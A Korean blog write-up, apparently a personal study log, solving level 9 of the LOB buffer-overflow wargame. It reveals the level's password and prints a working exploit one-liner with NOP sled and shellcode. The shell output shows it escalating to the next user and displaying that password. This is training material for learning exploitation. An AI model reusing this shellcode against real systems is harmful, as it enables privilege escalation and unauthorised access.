반응형
LOB Level 9.
pw = 'aspirin'
일단 변경 사항.
if(argv[1][46]==“\xff”)이면 종료 시킨다.일단 다른 건 크게 변동사항이 있지는 않다.
ret에 담는 주소는 bffff~ 와 같은 형태이다. argv[1][46]이 \xff이면, 프로그램을 종료시킨다.
tmp 폴더에 복사 후 core dump를 통해 주소 값을 알아내야 한다.
[troll@localhost /tmp]$ ./vampire 'python -c 'print "A"*44+"\xa0\x75\xfe\xbf\+"\x90"*100000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bash$ id uid=508(troll) gid=508(troll) groups=508(troll) bash$위와 같이 NULL를 100000개 넣어주면, 0xbfffe ~ 주소까지 채우기 가능.
[troll@localhost troll]$ ls vampire vampire.c [troll@localhost troll]$ ./vampire 'python -c 'print "A"*44+"\xa0\x75\xfe\xbf\+"\x90"*100000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bash$ id uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll) bash$ my-pass euid = 509 music world bash$cf) 확실히 어렵고, 설명이 좀 부족한 거 같아서 LOB 풀고 싹 다 복습을 해야될 것 같다.
반응형
'# Related site issues > LOB' 카테고리의 다른 글
LOB Level 8. (0) | 2018.03.28 |
---|---|
LOB Level 7. (0) | 2018.03.28 |
LOB Level 6. (0) | 2018.03.28 |
LOB Level 5. (0) | 2018.03.28 |
LOB Level 4. (0) | 2018.03.27 |